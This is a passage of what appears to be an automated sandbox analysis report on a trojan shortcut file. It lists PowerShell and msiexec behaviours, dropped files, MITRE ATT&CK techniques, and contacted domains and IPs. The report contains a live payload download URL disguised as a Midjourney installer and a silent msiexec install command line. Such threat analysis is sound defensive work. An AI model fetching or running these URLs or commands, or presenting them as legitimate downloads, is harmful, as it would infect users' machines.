Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3935			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5909			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI419D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI420D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI40C1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI416E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI41BE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\ProgramData\BDncqpUxZl.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6532	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2796	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\msiexec.exe TID: 2012	Thread sleep count: 55 > 30	Jump to behavior
Source: C:\Windows\System32\msiexec.exe TID: 2012	Thread sleep time: -110000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\msiexec.exe TID: 2012	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Windows\System32\msiexec.exe TID: 2012	Thread sleep time: -123000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\System32\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\msiexec.exe

Last function: Thread delayed

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000000.00000002.1552869565.000001EA4C100000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe" /i C:\Users\user\AppData\Roaming\y.msi /qn

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	1 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	21 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	11 Peripheral Device Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Report-41952.lnk	18%	ReversingLabs	Shortcut.Trojan.Boxter

Dropped Files

Source	Detection	Scanner
C:\ProgramData\BDncqpUxZl.dll	100%	Joe Sandbox ML
C:\ProgramData\BDncqpUxZl.dll	13%	ReversingLabs
C:\Windows\Installer\MSI40C1.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI416E.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI419D.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI41BE.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI420D.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
9qiliikd3sp.life	45.155.37.103	true	false	unknown
ygo9u1fkwux.life	37.27.203.12	true	false	unknown
q7dfpyyhe08.life	213.109.192.75	true	false	unknown
yan95akxgqt.life	38.180.143.64	true	false	unknown
07zxfo0kere.life	38.180.86.21	true	false	unknown
uyn0icgx1kv.life	38.180.144.181	true	false	unknown
ameagxzo2f7.life	185.26.238.223	true	false	unknown
736d0mvetjw.life	65.108.214.195	true	false	unknown
38f5wvwwn7o.life	185.93.221.123	true	false	unknown
fsr2hskx44p.life	185.81.114.195	true	false	unknown
nhdeapyfg7e.life	84.32.84.32	true	false	unknown
0cc2z8zrnhf.life	95.156.207.204	true	false	unknown
ibcm5at6qrz.life	144.208.127.113	true	false	unknown
spd22scperm.life	185.36.140.112	true	false	unknown
8hjv8mbhrlj.life	unknown	unknown	true	unknown
dxyob8x456a.life	unknown	unknown	true	unknown
8qvt5iabz5n.life	unknown	unknown	true	unknown
4izk0gc9is6.life	unknown	unknown	true	unknown
xeoz1f1vjs0.life	unknown	unknown	true	unknown
y0zvqpi42no.life	unknown	unknown	true	unknown
z3z4fq0420z.life	unknown	unknown	true	unknown
nzs8vi9w5o8.life	unknown	unknown	true	unknown
vu5b47m18jn.life	unknown	unknown	true	unknown
6brdh3p893b.life	unknown	unknown	true	unknown
in4pzu7t2pv.life	unknown	unknown	true	unknown
fig3gj0v6qe.life	unknown	unknown	true	unknown
93j4v4jopzd.life	unknown	unknown	true	unknown
8mgj12azbyd.life	unknown	unknown	true	unknown
bev8ymaajb7.life	unknown	unknown	true	unknown
y9neib92f2m.life	unknown	unknown	true	unknown
mjb3r6mcs1f.life	unknown	unknown	true	unknown
38i6lh0rpze.life	unknown	unknown	true	unknown
lrugnff8fkc.life	unknown	unknown	true	unknown
ar7xakeve0o.life	unknown	unknown	true	unknown
8z9m8hndrhp.life	unknown	unknown	true	unknown
08mkuqnx6gv.life	unknown	unknown	true	unknown
ilofx941igp.life	unknown	unknown	true	unknown
4k59ij2ujeu.life	unknown	unknown	true	unknown
o4m5a5no7e8.life	unknown	unknown	true	unknown
8x2apo5m7ri.life	unknown	unknown	true	unknown
m5iukps17y7.life	unknown	unknown	true	unknown
qc4mwjiop45.life	unknown	unknown	true	unknown
lobavyclh8e.life	unknown	unknown	true	unknown
2z1ls31az7s.life	unknown	unknown	true	unknown
7ewh8ltr7il.life	unknown	unknown	true	unknown
1grovn87c8s.life	unknown	unknown	true	unknown
eb4l6wisq9z.life	unknown	unknown	true	unknown
wdga570b8pz.life	unknown	unknown	true	unknown
0tab35o0swu.life	unknown	unknown	true	unknown
vauy5ah65sx.life	unknown	unknown	true	unknown
p5047yjrb8q.life	unknown	unknown	true	unknown
b1h0uaabzyz.life	unknown	unknown	true	unknown
65r8nx12fqr.life	unknown	unknown	true	unknown
zdf5ki8x9r0.life	unknown	unknown	true	unknown
x9yrzer0ndt.life	unknown	unknown	true	unknown
bzc9sq2pz53.life	unknown	unknown	true	unknown
khxcp22s3dz.life	unknown	unknown	true	unknown
he8fq4k8d3w.life	unknown	unknown	true	unknown
vl41cymzzfq.life	unknown	unknown	true	unknown
dw34kmgfl7t.life	unknown	unknown	true	unknown
exueqqmz3ia.life	unknown	unknown	true	unknown
9do3mcejztt.life	unknown	unknown	true	unknown
d0xtxp89bb9.life	unknown	unknown	true	unknown
l9t6r0y6cvi.life	unknown	unknown	true	unknown
6mnudp7zj73.life	unknown	unknown	true	unknown
dpgs2lt1sbz.life	unknown	unknown	true	unknown
du19ek78tjw.life	unknown	unknown	true	unknown
8ru044xed25.life	unknown	unknown	true	unknown
nyy41uibsv5.life	unknown	unknown	true	unknown
2u8znzsbrto.life	unknown	unknown	true	unknown
7r8ln1wswth.life	unknown	unknown	true	unknown
j280b59doxz.life	unknown	unknown	true	unknown
7exy2b231n2.life	unknown	unknown	true	unknown
37z6li6l9y2.life	unknown	unknown	true	unknown
f4vb9n3tdvh.life	unknown	unknown	true	unknown
plll0xq4y82.life	unknown	unknown	true	unknown
hudrx8fn980.life	unknown	unknown	true	unknown
widn8soih8u.life	unknown	unknown	true	unknown
glux8x5b8d6.life	unknown	unknown	true	unknown
drmk5rdefb5.life	unknown	unknown	true	unknown
1v0xhie4os8.life	unknown	unknown	true	unknown
6q894zusd4k.life	unknown	unknown	true	unknown
mk7plk9c6i2.life	unknown	unknown	true	unknown
ru4jvijdytq.life	unknown	unknown	true	unknown
tvx1ovdepj8.life	unknown	unknown	true	unknown
331k2rdkmmb.life	unknown	unknown	true	unknown
234ct3lkozp.life	unknown	unknown	true	unknown
w8ligr695sd.life	unknown	unknown	true	unknown
acgr6r8zdot.life	unknown	unknown	true	unknown
txgogs9p8a1.life	unknown	unknown	true	unknown
f2j20ayqh8y.life	unknown	unknown	true	unknown
pxu1ajsdhqr.life	unknown	unknown	true	unknown
lzeqr3apopn.life	unknown	unknown	true	unknown
eeqwg3mzq07.life	unknown	unknown	true	unknown
l6syolvczan.life	unknown	unknown	true	unknown
3e6rrifr5fn.life	unknown	unknown	true	unknown
y7pzxau0717.life	unknown	unknown	true	unknown
9f6p9g7x13s.life	unknown	unknown	true	unknown
ge0lpqif3ar.life	unknown	unknown	true	unknown
xo8be64ejh2.life	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.242.145.138/mid/w1/Midjourney.msi	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.242.145.138	powershell.exe, 00000000.00000002.1519354529.000001EA35124000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.1519354529.000001EA35709000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1544397381.000001EA43E5E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1544397381.000001EA43F95000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.1519354529.000001EA34011000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.1519354529.000001EA34011000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000000.00000002.1519354529.000001EA34A11000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000000.00000002.1544397381.000001EA43F95000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.1519354529.000001EA35709000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1544397381.000001EA43E5E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1544397381.000001EA43F95000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000000.00000002.1544397381.000001EA43F95000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000000.00000002.1544397381.000001EA43F95000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://193.242.145.138/mid/w1/midjourney.msi	powershell.exe, 00000000.00000002.1519007585.000001EA31FD5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.1519354529.000001EA33DE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.1519354529.000001EA33DE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://193.242.145.138/mid/w1/Midjourney.msi-OutFileC:	powershell.exe, 00000000.00000002.1549175940.000001EA4BE30000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1552869565.000001EA4C151000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1518961434.000001EA31F90000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1519007585.000001EA31FD0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1518627604.000001EA31D47000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1552869565.000001EA4C100000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.1519354529.000001EA34011000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.93.221.123	38f5wvwwn7o.life	Switzerland	41601	OBLTEL-ASRU	false
185.81.114.195	fsr2hskx44p.life	United Kingdom	59711	HZ-NL-ASGB	false
